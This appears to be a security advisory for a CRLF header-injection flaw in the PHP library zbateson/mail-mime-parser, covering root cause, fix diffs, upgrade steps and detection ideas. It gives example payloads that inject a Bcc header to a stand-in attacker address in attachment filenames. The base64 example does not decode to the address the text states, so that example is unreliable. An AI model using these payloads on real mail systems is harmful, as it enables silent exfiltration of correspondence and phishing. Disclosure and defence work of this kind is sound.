CVE-2026-61815: Remote SMTP Header Injection via Unsanitized MIME Decoded Filenames in zbateson/mail-mime-parser

The PHP email processing library zbateson/mail-mime-parser serves as an RFC-compliant framework for parsing and creating MIME-formatted internet messages. The software is widely integrated into automated email parsers, helpdesk ticket systems, CRM processors, and inbound mail relays to manage file attachments.

The library's attack surface includes the parsing of inbound MIME payloads and the subsequent generation of outbound mail streams. Remote attackers can leverage input validation and sanitization oversights in both directions. Inbound parsed files that contain encoded control sequences retain those malicious sequences in application memory, which can subsequently be serialized back into raw transport channels.

The vulnerability is classified as CWE-93 (Improper Neutralization of CRLF Sequences). It yields an average CVSS v3.1 score of 7.2. The downstream effect allows an attacker to manipulate header boundaries, resulting in unauthorized information disclosure or message content alteration.

The technical flaw underlying CVE-2026-61815 occurs because character decoding operations execute after structural sanitization filters have already run. This timing mismatch allows encoded newline characters to successfully bypass the library's defensive sanitization routines.

In MimeToken.php, RFC 2047 encoded words are evaluated. The library strips literal newline characters from the raw header using preg_replace before executing the base64 or quoted-printable decoder function decodeMime(). Consequently, any Carriage Return (\r) and Line Feed (\n) sequences safely hidden inside an encoded-word wrapper escape the filter. Once decoded, the payload materializes as literal CRLF control bytes in memory.

A parallel vulnerability exists in the parameter parser located in ParameterPart.php. When parsing RFC 2231 attachment parameters, such as the filename* parameter, the library processes percentage-encoded payloads. The parser invokes rawurldecode(), converting URL-encoded newlines (%0D%0A) into literal byte sequences (\x0D\x0A). The code lacks any subsequent validation or sanitization check to neutralize these unescaped control bytes before transmitting them to other components.

During the serialization phase, the unescaped control characters flow into MultipartHelper.php. The library attempts to sanitize filenames by invoking iconv() with the US-ASCII//translit//ignore instruction. Because Carriage Return and Line Feed are legitimate US-ASCII control characters, iconv() passes them without modification, writing the raw CRLF sequences straight into the outgoing headers.

To resolve the core vulnerability, the developers restructured the decoding pipeline to execute sanitization immediately after payload decoding. Diffs from the core fix demonstrate the movement of sanitization logic and the addition of robust regular expressions.

In src/Header/Part/MimeToken.php, the logic has been modified to enforce a secondary regular expression filter directly on the final output of the decodeMime() method:

 class MimeToken extends Token
 {
     public function __construct(LoggerInterface $logger, MbWrapper $charsetConverter, string $value)
     {
         parent::__construct($logger, $charsetConverter, $value);
-        $this->value = $this->decodeMime(\preg_replace('/\r|\n/', '', $this->value));
+        $decoded = $this->decodeMime(\preg_replace('/\r|\n/', '', $this->value));
+        $this->value = \preg_replace('/[\r\n]+/', '', $decoded) ?? '';
         $pattern = self::MIME_PART_PATTERN;

In src/Header/Part/ParameterPart.php, a similar regex filter has been integrated to catch and sanitize percentage-decoded characters emerging from the RFC 2231 parser:

     protected function decodePartValue(string $value, ?string $charset = null) : string
     {
-        if ($charset !== null) {
-            return $this->convertEncoding(\rawurldecode($value), $charset, true);
-        }
-        return $this->convertEncoding(\rawurldecode($value));
+        $decoded = ($charset !== null)
+            ? $this->convertEncoding(\rawurldecode($value), $charset, true)
+            : $this->convertEncoding(\rawurldecode($value));
+        return \preg_replace('/[\r\n]+/', '', $decoded) ?? $decoded;
     }

Finally, in src/Message/Helper/MultipartHelper.php, a defensive fallback filter was implemented during output formatting to strip structural ASCII control characters (byte range \x00-\x1F and \x7F) and replace them with spaces:

-        $safe = \iconv('UTF-8', 'US-ASCII//translit//ignore', $filename);
+        $converted = \iconv('UTF-8', 'US-ASCII//translit//ignore', $filename);
+        $safe = \preg_replace('/[\x00-\x1F\x7F]+/', ' ', ($converted !== false) ? $converted : '') ?? '';

Exploitation relies on a target application reading a malicious inbound email message and subsequently forwarding or re-attaching that content. An attacker crafts a message containing attachment parameters formatted with encoded newlines followed by raw SMTP headers.

For example, an attacker can use RFC 2231 percentage encoding to craft a malicious filename containing a Bcc header injection:

Content-Disposition: attachment; filename*=UTF-8''invoice.pdf%0D%0ABcc:%20attacker@evil.test

Alternatively, an attacker can construct an RFC 2047 Base64 MIME-encoded string of the payload invoice.pdf\r\nBcc: attacker@evil.test:

Content-Disposition: attachment; filename="=?utf-8?B?aW52b2ljZS5wZGYNCkJjYzogYXZpbEBhdHRhY2tlci50ZXN0?="

When the application processes this incoming email and calls createAndAddPartForAttachment(), the un-sanitized CRLF sequence is output directly. The downstream SMTP server processes the resulting raw stream and splits the headers, recognizing the injected string as a legitimate BCC directive:

Content-Type: application/pdf;
	name="invoice.pdf
Bcc: attacker@evil.test"
Content-Disposition: attachment;
	filename="invoice.pdf
Bcc: attacker@evil.test"

The impact of CVE-2026-61815 is critical for environments that execute automatic processing on incoming email files, such as ticketing systems, CRM managers, or automated financial tools. By injecting a carriage return and line feed, the attacker can force downstream Mail Transfer Agents (MTAs) to split header sequences.

By injecting Bcc or Cc headers, attackers can silently copy and exfiltrate all outgoing replies, attachments, and internal records corresponding to the compromised message thread. This compromises message confidentiality without generating warning flags in client-facing applications.

Attackers can also inject dual carriage returns (\r\n\r\n) to prematurely end the headers segment and insert arbitrary text or script links into the body of the email. This facilitates phishing and social engineering campaigns, as the injected content appears to originate from an internal or trusted sending system.

The primary remediation strategy is the immediate upgrade of all zbateson/mail-mime-parser library instances. Legacy versions 1.x and 2.x are End-of-Life and will not receive security fixes. Users must upgrade to the supported patched releases:

• Upgrade 3.x branch dependencies to version 3.0.6 (or 3.0.7)
• Upgrade 4.x branch dependencies to version 4.0.2

To update the dependency within a PHP project, execute the following Composer directive:

composer update zbateson/mail-mime-parser

If manual validation must be applied in legacy application code, filter all output filenames extracted via the API prior to processing. Developers can run a strict regex filter to strip control characters manually:

$safe_filename = preg_replace('/[\x00-\x1F\x7F]+/', ' ', $part->getFilename());

To detect exploitation attempts, implement Snort, Suricata, or WAF rules to scan inbound mail traffic for RFC 2231 parameters containing %0D%0A or equivalent hexadecimal byte injections inside filename definitions.